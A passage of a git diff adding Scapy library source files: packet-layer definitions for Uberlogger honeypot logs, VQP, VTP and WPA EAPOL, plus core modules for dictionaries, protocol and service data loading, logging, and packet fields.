+    name  = "Uberlogger capset_data"
+    fields_desc = [IntField("target_pid", 0),
+                   IntField("effective_cap", 0),
+                   IntField("permitted_cap", 0),
+                   IntField("inheritable_cap", 0)]
+
+class Uberlogger_chmod_data(Packet):
+    name  = "Uberlogger chmod_data"
+    fields_desc = [ShortField("mode", 0)]
+
+class Uberlogger_chown_data(Packet):
+    name  = "Uberlogger chown_data"
+    fields_desc = [IntField("uid", 0),
+                   IntField("gid", 0)]
+
+class Uberlogger_open_data(Packet):
+    name  = "Uberlogger open_data"
+    fields_desc = [IntField("flags", 0),
+                   IntField("mode", 0)]
+                   
+class Uberlogger_read_data(Packet):
+    name  = "Uberlogger read_data"
+    fields_desc = [IntField("fd", 0),
+                   IntField("count", 0)]
+                   
+class Uberlogger_setuid_data(Packet):
+    name  = "Uberlogger setuid_data"
+    fields_desc = [IntField("uid", 0)]
+
+class Uberlogger_create_module_data(Packet):
+    name  = "Uberlogger create_module_data"
+    fields_desc = [IntField("size", 0)]
+
+class Uberlogger_execve_data(Packet):
+    name  = "Uberlogger execve_data"
+    fields_desc = [IntField("nbarg", 0)]
+
+# Layer bounds for Uberlogger
+bind_layers(Uberlogger_honeypot_caract,Uberlogger_uber_h)
+bind_layers(Uberlogger_uber_h,Uberlogger_capget_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_capset_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_chmod_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_chown_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_open_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_read_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_setuid_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_create_module_data)
+bind_layers(Uberlogger_uber_h,Uberlogger_execve_data)
diff --git a/scapy/contrib/vqp.py b/scapy/contrib/vqp.py
new file mode 100644
index 0000000..fbe8dad
--- /dev/null
+++ b/scapy/contrib/vqp.py
@@ -0,0 +1,69 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = VLAN Query Protocol
+# scapy.contrib.status = loads
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.inet import UDP
+
+class VQP(Packet):
+        name = "VQP"
+        fields_desc = [
+                ByteField("const", 1),
+                ByteEnumField("type", 1, {
+                        1:"requestPort", 2:"responseVLAN",
+                        3:"requestReconfirm", 4:"responseReconfirm"
+                }),
+                ByteEnumField("errorcodeaction", 0, {
+                        0:"none",3:"accessDenied",
+                        4:"shutdownPort", 5:"wrongDomain"
+                }),
+                ByteEnumField("unknown", 2, {
+                        2:"inGoodResponse", 6:"inRequests"
+                }),
+                IntField("seq",0),
+        ]
+
+class VQPEntry(Packet):
+        name = "VQPEntry"
+        fields_desc = [
+                IntEnumField("datatype", 0, {
+                        3073:"clientIPAddress", 3074:"portName",
+                        3075:"VLANName", 3076:"Domain", 3077:"ethernetPacket",
+                        3078:"ReqMACAddress", 3079:"unknown",
+                        3080:"ResMACAddress"
+                }),
+                FieldLenField("len", None),
+                ConditionalField(IPField("datatom", "0.0.0.0"),
+                        lambda p:p.datatype==3073),
+                ConditionalField(MACField("data", "00:00:00:00:00:00"),
+                        lambda p:p.datatype==3078),
+                ConditionalField(MACField("data", "00:00:00:00:00:00"),
+                        lambda p:p.datatype==3080), 
+                ConditionalField(StrLenField("data", None,
+                        length_from=lambda p:p.len), 
+                        lambda p:p.datatype not in [3073, 3078, 3080]),
+        ]
+        def post_build(self, p, pay):
+                if self.len is None:
+                        l = len(p.data)
+                        p = p[:2]+struct.pack("!H",l)+p[4:]
+                return p
+
+bind_layers(UDP,        VQP,            sport=1589)
+bind_layers(UDP,        VQP,            dport=1589)
+bind_layers(VQP,        VQPEntry,       )
+bind_layers(VQPEntry,   VQPEntry,       )
diff --git a/scapy/contrib/vtp.py b/scapy/contrib/vtp.py
new file mode 100644
index 0000000..98a7a97
--- /dev/null
+++ b/scapy/contrib/vtp.py
@@ -0,0 +1,186 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = VLAN Trunking Protocol (VTP)
+# scapy.contrib.status = loads
+
+"""
+    VTP Scapy Extension
+    ~~~~~~~~~~~~~~~~~~~~~
+
+    :version:   2009-02-15
+    :copyright: 2009 by Jochen Bartl
+    :e-mail:    lobo@c3a.de / jochen.bartl@gmail.com
+    :license:   GPL v2
+
+        This program is free software; you can redistribute it and/or
+        modify it under the terms of the GNU General Public License
+        as published by the Free Software Foundation; either version 2
+        of the License, or (at your option) any later version.
+
+        This program is distributed in the hope that it will be useful,
+        but WITHOUT ANY WARRANTY; without even the implied warranty of
+        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+        GNU General Public License for more details.
+
+    :TODO
+
+        - Join messages
+        - RE MD5 hash calculation
+        - Have a closer look at 8 byte padding in summary adv.
+            "debug sw-vlan vtp packets" sais the TLV length is invalid,
+            when I change the values
+            b'\x00\x00\x00\x01\x06\x01\x00\x02'
+                * \x00\x00 ?
+                * \x00\x01 tlvtype?
+                * \x06 length?
+                * \x00\x02 value?
+        - h2i function for VTPTimeStampField
+
+    :References:
+
+        - Understanding VLAN Trunk Protocol (VTP)
+        http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094c52.shtml
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import *
+
+_VTP_VLAN_TYPE = {
+            1 : 'Ethernet',
+            2 : 'FDDI',
+            3 : 'TrCRF',
+            4 : 'FDDI-net',
+            5 : 'TrBRF'
+        }
+
+_VTP_VLANINFO_TLV_TYPE = {
+            0x01 : 'Source-Routing Ring Number',
+            0x02 : 'Source-Routing Bridge Number',
+            0x03 : 'Spanning-Tree Protocol Type',
+            0x04 : 'Parent VLAN',
+            0x05 : 'Translationally Bridged VLANs',
+            0x06 : 'Pruning',
+            0x07 : 'Bridge Type',
+            0x08 : 'Max ARE Hop Count',
+            0x09 : 'Max STE Hop Count',
+            0x0A : 'Backup CRF Mode'
+        }
+
+
+class VTPVlanInfoTlv(Packet):
+    name = "VTP VLAN Info TLV"
+    fields_desc = [
+            ByteEnumField("type", 0, _VTP_VLANINFO_TLV_TYPE),
+            ByteField("length", 0),
+            StrLenField("value", None, length_from=lambda pkt : pkt.length + 1)
+            ]
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+class VTPVlanInfo(Packet):
+    name = "VTP VLAN Info"
+    fields_desc = [
+                    ByteField("len", None), # FIXME: compute length
+                    ByteEnumField("status", 0, {0 : "active", 1 : "suspended"}),
+                    ByteEnumField("type", 1, _VTP_VLAN_TYPE),
+                    FieldLenField("vlannamelen", None, "vlanname", "B"),
+                    ShortField("vlanid", 1),
+                    ShortField("mtu", 1500),
+                    XIntField("dot10index", None),
+                    StrLenField("vlanname", "default", length_from=lambda pkt:4 * ((pkt.vlannamelen + 3) / 4)),
+                    ConditionalField(PacketListField("tlvlist", [], VTPVlanInfoTlv,
+                            length_from=lambda pkt:pkt.len - 12 - (4 * ((pkt.vlannamelen + 3) / 4))),
+                            lambda pkt:pkt.type not in [1, 2])
+            ]
+
+    def post_build(self, p, pay):
+        vlannamelen = 4 * ((len(self.vlanname) + 3) / 4)
+
+        if self.len == None:
+            l = vlannamelen + 12
+            p = chr(l & 0xff) + p[1:]
+
+        # Pad vlan name with zeros if vlannamelen > len(vlanname)
+        l = vlannamelen - len(self.vlanname)
+        if l != 0:
+            p += b"\x00" * l
+
+        p += pay
+
+        return p
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+_VTP_Types = {
+            1 : 'Summary Advertisement',
+            2 : 'Subset Advertisements',
+            3 : 'Advertisement Request',
+            4 : 'Join'
+            }
+
+class VTPTimeStampField(StrFixedLenField):
+    def __init__(self, name, default):
+        StrFixedLenField.__init__(self, name, default, 12)
+
+    def i2repr(self, pkt, x):
+        return "%s-%s-%s %s:%s:%s" % (x[:2], x[2:4], x[4:6], x[6:8], x[8:10], x[10:12])
+
+class VTP(Packet):
+    name = "VTP"
+    fields_desc = [
+                    ByteField("ver", 2),
+                    ByteEnumField("code", 1, _VTP_Types),
+                    ConditionalField(ByteField("followers", 1),
+                                        lambda pkt:pkt.code == 1),
+                    ConditionalField(ByteField("seq", 1),
+                                        lambda pkt:pkt.code == 2),
+                    ConditionalField(ByteField("reserved", 0),
+                                        lambda pkt:pkt.code == 3),
+                    ByteField("domnamelen", None),
+                    StrFixedLenField("domname", "manbearpig", 32),
+                    ConditionalField(SignedIntField("rev", 0),
+                                        lambda pkt:pkt.code == 1 or
+                                                   pkt.code == 2),
+                    # updater identity
+                    ConditionalField(IPField("uid", "192.168.0.1"),
+                                        lambda pkt:pkt.code == 1),
+                    ConditionalField(VTPTimeStampField("timestamp", '930301000000'),
+                                        lambda pkt:pkt.code == 1),
+                    ConditionalField(StrFixedLenField("md5", b"\x00" * 16, 16),
+                                        lambda pkt:pkt.code == 1),
+                    ConditionalField(
+                        PacketListField("vlaninfo", [], VTPVlanInfo),
+                        lambda pkt: pkt.code == 2),
+                    ConditionalField(ShortField("startvalue", 0),
+                                        lambda pkt:pkt.code == 3)
+                    ]
+
+    def post_build(self, p, pay):
+        if self.domnamelen == None:
+            domnamelen = len(self.domname.strip(b"\x00"))
+            p = p[:3] + chr(domnamelen & 0xff) + p[4:]
+
+        p += pay
+
+        return p
+
+bind_layers(SNAP, VTP, code=0x2003)
+
+if __name__ == '__main__':
+    from scapy.main import interact
+    interact(mydict=globals(), mybanner="VTP")
diff --git a/scapy/contrib/wpa_eapol.py b/scapy/contrib/wpa_eapol.py
new file mode 100644
index 0000000..a8bf52e
--- /dev/null
+++ b/scapy/contrib/wpa_eapol.py
@@ -0,0 +1,47 @@
+# This file is part of Scapy
+# Scapy is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 2 of the License, or
+# any later version.
+#
+# Scapy is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with Scapy. If not, see <http://www.gnu.org/licenses/>.
+
+# scapy.contrib.description = WPA EAPOL dissector
+# scapy.contrib.status = loads
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.l2 import *
+from scapy.layers.eap import EAPOL
+
+class WPA_key(Packet):
+    name = "WPA_key"
+    fields_desc = [ ByteField("descriptor_type", 1),
+                    ShortField("key_info",0),
+                    LenField("len", None, "H"),
+                    StrFixedLenField("replay_counter", "", 8),
+                    StrFixedLenField("nonce", "", 32),
+                    StrFixedLenField("key_iv", "", 16),
+                    StrFixedLenField("wpa_key_rsc", "", 8), 
+                    StrFixedLenField("wpa_key_id", "", 8),
+                    StrFixedLenField("wpa_key_mic", "", 16),
+                    LenField("wpa_key_length", None, "H"),
+                    StrLenField("wpa_key", "", length_from=lambda pkt:pkt.wpa_key_length) ]
+    def extract_padding(self, s):
+        l = self.len
+        return s[:l],s[l:]
+    def hashret(self):
+        return chr(self.type)+self.payload.hashret()
+    def answers(self, other):
+        if isinstance(other,WPA_key):
+               return 1
+        return 0
+             
+
+bind_layers( EAPOL,         WPA_key,       type=3)
diff --git a/scapy/dadict.py b/scapy/dadict.py
new file mode 100644
index 0000000..c971b60
--- /dev/null
+++ b/scapy/dadict.py
@@ -0,0 +1,99 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Direct Access dictionary.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+from scapy.error import Scapy_Exception
+import scapy.modules.six as six
+from scapy.compat import *
+
+###############################
+## Direct Access dictionary  ##
+###############################
+
+def fixname(x):
+    if x and str(x[0]) in "0123456789":
+        x = "n_"+x
+    return x.translate("________________________________________________0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______abcdefghijklmnopqrstuvwxyz_____________________________________________________________________________________________________________________________________")
+
+
+class DADict_Exception(Scapy_Exception):
+    pass
+
+class DADict:
+    def __init__(self, _name="DADict", **kargs):
+        self._name=_name
+        self.update(kargs)
+    def fixname(self,val):
+        return fixname(plain_str(val))
+    def __contains__(self, val):
+        return val in self.__dict__
+    def __getitem__(self, attr):
+        return getattr(self, attr)
+    def __setitem__(self, attr, val):        
+        return setattr(self, self.fixname(attr), val)
+    def __iter__(self):
+        return (value for key, value in six.iteritems(self.__dict__)
+                if key and key[0] != '_')
+    def _show(self):
+        for k in self.__dict__:
+            if k and k[0] != "_":
+                print("%10s = %r" % (k,getattr(self,k)))
+    def __repr__(self):
+        return "<%s/ %s>" % (self._name," ".join(x for x in self.__dict__ if x and x[0]!="_"))
+
+    def _branch(self, br, uniq=0):
+        if uniq and br._name in self:
+            raise DADict_Exception("DADict: [%s] already branched in [%s]" % (br._name, self._name))
+        self[br._name] = br
+
+    def _my_find(self, *args, **kargs):
+        if args and self._name not in args:
+            return False
+        for k in kargs:
+            if k not in self or self[k] != kargs[k]:
+                return False
+        return True
+
+    def update(self, *args, **kwargs):
+        for k, v in six.iteritems(dict(*args, **kwargs)):
+            self[k] = v
+    
+    def _find(self, *args, **kargs):
+         return self._recurs_find((), *args, **kargs)
+    def _recurs_find(self, path, *args, **kargs):
+        if self in path:
+            return None
+        if self._my_find(*args, **kargs):
+            return self
+        for o in self:
+            if isinstance(o, DADict):
+                p = o._recurs_find(path+(self,), *args, **kargs)
+                if p is not None:
+                    return p
+        return None
+    def _find_all(self, *args, **kargs):
+        return self._recurs_find_all((), *args, **kargs)
+    def _recurs_find_all(self, path, *args, **kargs):
+        r = []
+        if self in path:
+            return r
+        if self._my_find(*args, **kargs):
+            r.append(self)
+        for o in self:
+            if isinstance(o, DADict):
+                p = o._recurs_find_all(path+(self,), *args, **kargs)
+                r += p
+        return r
+    def keys(self):
+        return list(self.iterkeys())
+    def iterkeys(self):
+        return (x for x in self.__dict__ if x and x[0] != "_")
+    def __len__(self):
+        return len(self.__dict__)
diff --git a/scapy/data.py b/scapy/data.py
new file mode 100644
index 0000000..1046ac5
--- /dev/null
+++ b/scapy/data.py
@@ -0,0 +1,288 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Global variables and functions for handling external data sets.
+"""
+
+
+import os
+import re
+import sys
+import time
+
+
+from scapy.dadict import DADict
+from scapy.consts import DARWIN, FREEBSD, NETBSD, OPENBSD
+from scapy.error import log_loading
+from scapy.compat import *
+
+
+############
+## Consts ##
+############
+
+ETHER_ANY = b"\x00"*6
+ETHER_BROADCAST = b"\xff"*6
+
+ETH_P_ALL = 3
+ETH_P_IP = 0x800
+ETH_P_ARP = 0x806
+ETH_P_IPV6 = 0x86dd
+ETH_P_MACSEC = 0x88e5
+
+# From net/if_arp.h
+ARPHDR_ETHER = 1
+ARPHDR_METRICOM = 23
+ARPHDR_PPP = 512
+ARPHDR_LOOPBACK = 772
+ARPHDR_TUN = 65534
+
+# From pcap/dlt.h
+DLT_NULL = 0
+DLT_EN10MB = 1
+DLT_EN3MB = 2
+DLT_AX25 = 3
+DLT_PRONET = 4
+DLT_CHAOS = 5
+DLT_IEEE802 = 6
+DLT_ARCNET = 7
+DLT_SLIP = 8
+DLT_PPP = 9
+DLT_FDDI = 10
+if OPENBSD:
+    DLT_RAW = 14
+else:
+    DLT_RAW = 12
+DLT_RAW_ALT = 101  # At least in Argus
+if FREEBSD or NETBSD:
+    DLT_SLIP_BSDOS = 13
+    DLT_PPP_BSDOS = 14
+else:
+    DLT_SLIP_BSDOS = 15
+    DLT_PPP_BSDOS = 16
+if FREEBSD:
+    DLT_PFSYNC = 121
+else:
+    DLT_PFSYNC = 18
+    DLT_HHDLC = 121
+DLT_ATM_CLIP = 19
+DLT_PPP_SERIAL = 50
+DLT_PPP_ETHER = 51
+DLT_SYMANTEC_FIREWALL = 99
+DLT_C_HDLC = 104
+DLT_IEEE802_11 = 105
+if OPENBSD:
+    DLT_LOOP = 12
+    DLT_ENC = 13
+else:
+    DLT_LOOP = 108
+    DLT_ENC = 109
+DLT_LINUX_SLL = 113
+DLT_PFLOG = 117
+DLT_PRISM_HEADER = 119
+DLT_AIRONET_HEADER = 120
+DLT_IEEE802_11_RADIO = 127
+DLT_LINUX_IRDA  = 144
+DLT_BLUETOOTH_HCI_H4 = 187
+DLT_PPI   = 192
+DLT_CAN_SOCKETCAN = 227
+DLT_IPV4 = 228
+DLT_IPV6 = 229
+
+# From net/ipv6.h on Linux (+ Additions)
+IPV6_ADDR_UNICAST     = 0x01
+IPV6_ADDR_MULTICAST   = 0x02
+IPV6_ADDR_CAST_MASK   = 0x0F
+IPV6_ADDR_LOOPBACK    = 0x10
+IPV6_ADDR_GLOBAL      = 0x00
+IPV6_ADDR_LINKLOCAL   = 0x20
+IPV6_ADDR_SITELOCAL   = 0x40     # deprecated since Sept. 2004 by RFC 3879
+IPV6_ADDR_SCOPE_MASK  = 0xF0
+#IPV6_ADDR_COMPATv4   = 0x80     # deprecated; i.e. ::/96
+#IPV6_ADDR_MAPPED     = 0x1000   # i.e.; ::ffff:0.0.0.0/96
+IPV6_ADDR_6TO4        = 0x0100   # Added to have more specific info (should be 0x0101 ?)
+IPV6_ADDR_UNSPECIFIED = 0x10000
+
+
+# On windows, epoch is 01/02/1970 at 00:00
+EPOCH = time.mktime((1970, 1, 2, 0, 0, 0, 3, 1, 0))-86400
+
+MTU = 0xffff # a.k.a give me all you have
+
+WINDOWS=sys.platform.startswith("win")
+
+ 
+# file parsing to get some values :
+
+def load_protocols(filename):
+    spaces = re.compile(b"[ \t]+|\n")
+    dct = DADict(_name=filename)
+    try:
+        for l in open(filename, "rb"):
+            try:
+                shrp = l.find(b"#")
+                if  shrp >= 0:
+                    l = l[:shrp]
+                l = l.strip()
+                if not l:
+                    continue
+                lt = tuple(re.split(spaces, l))
+                if len(lt) < 2 or not lt[0]:
+                    continue
+                dct[lt[0]] = int(lt[1])
+            except Exception as e:
+                log_loading.info("Couldn't parse file [%s]: line [%r] (%s)", filename, l, e)
+    except IOError:
+        log_loading.info("Can't open %s file", filename)
+    return dct
+
+def load_ethertypes(filename):
+    spaces = re.compile(b"[ \t]+|\n")
+    dct = DADict(_name=filename)
+    try:
+        f=open(filename, "rb")
+        for l in f:
+            try:
+                shrp = l.find(b"#")
+                if  shrp >= 0:
+                    l = l[:shrp]
+                l = l.strip()
+                if not l:
+                    continue
+                lt = tuple(re.split(spaces, l))
+                if len(lt) < 2 or not lt[0]:
+                    continue
+                dct[lt[0]] = int(lt[1], 16)
+            except Exception as e:
+                log_loading.info("Couldn't parse file [%s]: line [%r] (%s)", filename, l, e)
+        f.close()
+    except IOError as msg:
+        pass
+    return dct
+
+def load_services(filename):
+    spaces = re.compile(b"[ \t]+|\n")
+    tdct=DADict(_name="%s-tcp"%filename)
+    udct=DADict(_name="%s-udp"%filename)
+    try:
+        f=open(filename, "rb")
+        for l in f:
+            try:
+                shrp = l.find(b"#")
+                if  shrp >= 0:
+                    l = l[:shrp]
+                l = l.strip()
+                if not l:
+                    continue
+                lt = tuple(re.split(spaces, l))
+                if len(lt) < 2 or not lt[0]:
+                    continue
+                if lt[1].endswith(b"/tcp"):
+                    tdct[lt[0]] = int(lt[1].split(b'/')[0])
+                elif lt[1].endswith(b"/udp"):
+                    udct[lt[0]] = int(lt[1].split(b'/')[0])
+            except Exception as e:
+                log_loading.warning("Couldn't parse file [%s]: line [%r] (%s)", filename, l, e)
+        f.close()
+    except IOError:
+        log_loading.info("Can't open /etc/services file")
+    return tdct,udct
+
+
+class ManufDA(DADict):
+    def fixname(self, val):
+        return plain_str(val)
+    def _get_manuf_couple(self, mac):
+        oui = ":".join(mac.split(":")[:3]).upper()
+        return self.__dict__.get(oui,(mac,mac))
+    def _get_manuf(self, mac):
+        return self._get_manuf_couple(mac)[1]
+    def _get_short_manuf(self, mac):
+        return self._get_manuf_couple(mac)[0]
+    def _resolve_MAC(self, mac):
+        oui = ":".join(mac.split(":")[:3]).upper()
+        if oui in self:
+            return ":".join([self[oui][0]]+ mac.split(":")[3:])
+        return mac
+    def __repr__(self):
+        return "\n".join("<%s %s, %s>" % (i[0], i[1][0], i[1][1]) for i in self.__dict__.items())
+        
+        
+
+def load_manuf(filename):
+    manufdb=ManufDA(_name=filename)
+    with open(filename, "rb") as fdesc:
+        for l in fdesc:
+            try:
+                l = l.strip()
+                if not l or l.startswith(b"#"):
+                    continue
+                oui,shrt=l.split()[:2]
+                i = l.find(b"#")
+                if i < 0:
+                    lng=shrt
+                else:
+                    lng = l[i+2:]
+                manufdb[oui] = plain_str(shrt), plain_str(lng)
+            except Exception:
+                log_loading.warning("Couldn't parse one line from [%s] [%r]",
+                                    filename, l, exc_info=True)
+    return manufdb
+    
+
+if WINDOWS:
+    ETHER_TYPES=load_ethertypes("ethertypes")
+    IP_PROTOS=load_protocols(os.environ["SystemRoot"]+"\system32\drivers\etc\protocol")
+    TCP_SERVICES,UDP_SERVICES=load_services(os.environ["SystemRoot"] + "\system32\drivers\etc\services")
+    # Default value, will be updated by arch.windows
+    try:
+        MANUFDB = load_manuf(os.environ["ProgramFiles"] + "\\wireshark\\manuf")
+    except IOError:
+        MANUFDB = None
+else:
+    IP_PROTOS=load_protocols("/etc/protocols")
+    ETHER_TYPES=load_ethertypes("/etc/ethertypes")
+    TCP_SERVICES,UDP_SERVICES=load_services("/etc/services")
+    MANUFDB = None
+    for prefix in ['/usr', '/usr/local', '/opt', '/opt/wireshark']:
+        try:
+            MANUFDB = load_manuf(os.path.join(prefix, "share", "wireshark",
+                                              "manuf"))
+            if MANUFDB:
+                break
+        except IOError:
+            pass
+    if not MANUFDB:
+        log_loading.warning("Cannot read wireshark manuf database")
+
+
+#####################
+## knowledge bases ##
+#####################
+
+class KnowledgeBase:
+    def __init__(self, filename):
+        self.filename = filename
+        self.base = None
+
+    def lazy_init(self):
+        self.base = ""
+
+    def reload(self, filename = None):
+        if filename is not None:
+            self.filename = filename
+        oldbase = self.base
+        self.base = None
+        self.lazy_init()
+        if self.base is None:
+            self.base = oldbase
+
+    def get_base(self):
+        if self.base is None:
+            self.lazy_init()
+        return self.base
+    
+
diff --git a/scapy/error.py b/scapy/error.py
new file mode 100644
index 0000000..d727344
--- /dev/null
+++ b/scapy/error.py
@@ -0,0 +1,76 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Logging subsystem and basic exception class.
+"""
+
+#############################
+##### Logging subsystem #####
+#############################
+
+class Scapy_Exception(Exception):
+    pass
+
+import logging, traceback, time
+
+class ScapyFreqFilter(logging.Filter):
+    def __init__(self):
+        logging.Filter.__init__(self)
+        self.warning_table = {}
+    def filter(self, record):
+        from scapy.config import conf
+        wt = conf.warning_threshold
+        if wt > 0:
+            stk = traceback.extract_stack()
+            caller=None
+            for f,l,n,c in stk:
+                if n == 'warning':
+                    break
+                caller = l
+            tm,nb = self.warning_table.get(caller, (0,0))
+            ltm = time.time()
+            if ltm-tm > wt:
+                tm = ltm
+                nb = 0
+            else:
+                if conf.warning_next_only_once:
+                    conf.warning_next_only_once = False
+                    return 0
+                if nb < 2:
+                    nb += 1
+                    if nb == 2:
+                        record.msg = "more "+record.msg
+                else:
+                    return 0
+            self.warning_table[caller] = (tm,nb)
+        return 1    
+
+try:
+    from logging import NullHandler
+except ImportError:
+    # compat for python 2.6
+    from logging import Handler
+    class NullHandler(Handler):
+        def emit(self, record):
+            pass
+log_scapy = logging.getLogger("scapy")
+log_scapy.addHandler(NullHandler())
+log_runtime = logging.getLogger("scapy.runtime")          # logs at runtime
+log_runtime.addFilter(ScapyFreqFilter())
+log_interactive = logging.getLogger("scapy.interactive")  # logs in interactive functions
+log_loading = logging.getLogger("scapy.loading")          # logs when loading Scapy
+
+
+def warning(x, *args, **kargs):
+    """
+    Prints a warning during runtime.
+
+    onlyOnce - if True, the warning will never be printed again.
+    """ 
+    if kargs.pop("onlyOnce", False):
+        from scapy.config import conf
+        conf.warning_next_only_once = True
+    log_runtime.warning(x, *args, **kargs)
diff --git a/scapy/fields.py b/scapy/fields.py
new file mode 100644
index 0000000..d0d5034
--- /dev/null
+++ b/scapy/fields.py
@@ -0,0 +1,1475 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Fields: basic data structures that make up parts of packets.
+"""
+
+from __future__ import absolute_import
+import struct,copy,socket,collections
+from scapy.config import conf
+from scapy.dadict import DADict
+from scapy.volatile import *
+from scapy.data import *
+from scapy.compat import *
+from scapy.utils import *
+from scapy.base_classes import BasePacket, Gen, Net, Field_metaclass
+from scapy.error import warning
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+
+############
+## Fields ##
+############
+
+class Field(six.with_metaclass(Field_metaclass, object)):
+    """For more informations on how this work, please refer to
+       http://www.secdev.org/projects/scapy/files/scapydoc.pdf
+       chapter ``Adding a New Field''"""
+    __slots__ = ["name", "fmt", "default", "sz", "owners"]
+    islist = 0
+    ismutable = False
+    holds_packets = 0
+    def __init__(self, name, default, fmt="H"):
+        self.name = name
+        if fmt[0] in "@=<>!":
+            self.fmt = fmt
+        else:
+            self.fmt = "!"+fmt
+        self.default = self.any2i(None,default)
+        self.sz = struct.calcsize(self.fmt)
+        self.owners = []
+
+    def register_owner(self, cls):
+        self.owners.append(cls)
+
+    def i2len(self, pkt, x):
+        """Convert internal value to a length usable by a FieldLenField"""
+        return self.sz
+    def i2count(self, pkt, x):
+        """Convert internal value to a number of elements usable by a FieldLenField.
+        Always 1 except for list fields"""
+        return 1
+    def h2i(self, pkt, x):
+        """Convert human value to internal value"""
+        return x
+    def i2h(self, pkt, x):
+        """Convert internal value to human value"""
+        return x
+    def m2i(self, pkt, x):
+        """Convert machine value to internal value"""
+        return x
+    def i2m(self, pkt, x):
+        """Convert internal value to machine value"""
+        if x is None:
+            x = 0
+        elif isinstance(x, str):
+            return raw(x)
+        return x
+    def any2i(self, pkt, x):
+        """Try to understand the most input values possible and make an internal value from them"""
+        return self.h2i(pkt, x)
+    def i2repr(self, pkt, x):
+        """Convert internal value to a nice representation"""
+        return repr(self.i2h(pkt,x))
+    def addfield(self, pkt, s, val):
+        """Add an internal value  to a string"""
+        return s+struct.pack(self.fmt, self.i2m(pkt,val))
+    def getfield(self, pkt, s):
+        """Extract an internal value from a string"""
+        return  s[self.sz:], self.m2i(pkt, struct.unpack(self.fmt, s[:self.sz])[0])
+    def do_copy(self, x):
+        if hasattr(x, "copy"):
+            return x.copy()
+        if isinstance(x, list):
+            x = x[:]
+            for i in range(len(x)):
+                if isinstance(x[i], BasePacket):
+                    x[i] = x[i].copy()
+        return x
+    def __repr__(self):
+        return "<Field (%s).%s>" % (",".join(x.__name__ for x in self.owners),self.name)
+    def copy(self):
+        return copy.deepcopy(self)
+    def randval(self):
+        """Return a volatile object whose value is both random and suitable for this field"""
+        fmtt = self.fmt[-1]
+        if fmtt in "BHIQ":
+            return {"B":RandByte,"H":RandShort,"I":RandInt, "Q":RandLong}[fmtt]()
+        elif fmtt == "s":
+            if self.fmt[0] in "0123456789":
+                l = int(self.fmt[:-1])
+            else:
+                l = int(self.fmt[1:-1])
+            return RandBin(l)
+        else:
+            warning("no random class for [%s] (fmt=%s).", self.name, self.fmt)
+
+
+
+
+class Emph(object):
+    __slots__ = ["fld"]
+    def __init__(self, fld):
+        self.fld = fld
+    def __getattr__(self, attr):
+        return getattr(self.fld,attr)
+    def __hash__(self):
+        return hash(self.fld)
+    def __eq__(self, other):
+        return self.fld == other
+
+
+class ActionField(object):
+    __slots__ = ["_fld", "_action_method", "_privdata"]
+    def __init__(self, fld, action_method, **kargs):
+        self._fld = fld
+        self._action_method = action_method
+        self._privdata = kargs
+    def any2i(self, pkt, val):
+        getattr(pkt, self._action_method)(val, self._fld, **self._privdata)
+        return getattr(self._fld, "any2i")(pkt, val)
+    def __getattr__(self, attr):
+        return getattr(self._fld,attr)
+
+
+class ConditionalField(object):
+    __slots__ = ["fld", "cond"]
+    def __init__(self, fld, cond):
+        self.fld = fld
+        self.cond = cond
+    def _evalcond(self,pkt):
+        return self.cond(pkt)
+
+    def getfield(self, pkt, s):
+        if self._evalcond(pkt):
+            return self.fld.getfield(pkt,s)
+        else:
+            return s,None
+
+    def addfield(self, pkt, s, val):
+        if self._evalcond(pkt):
+            return self.fld.addfield(pkt,s,val)
+        else:
+            return s
+    def __getattr__(self, attr):
+        return getattr(self.fld,attr)
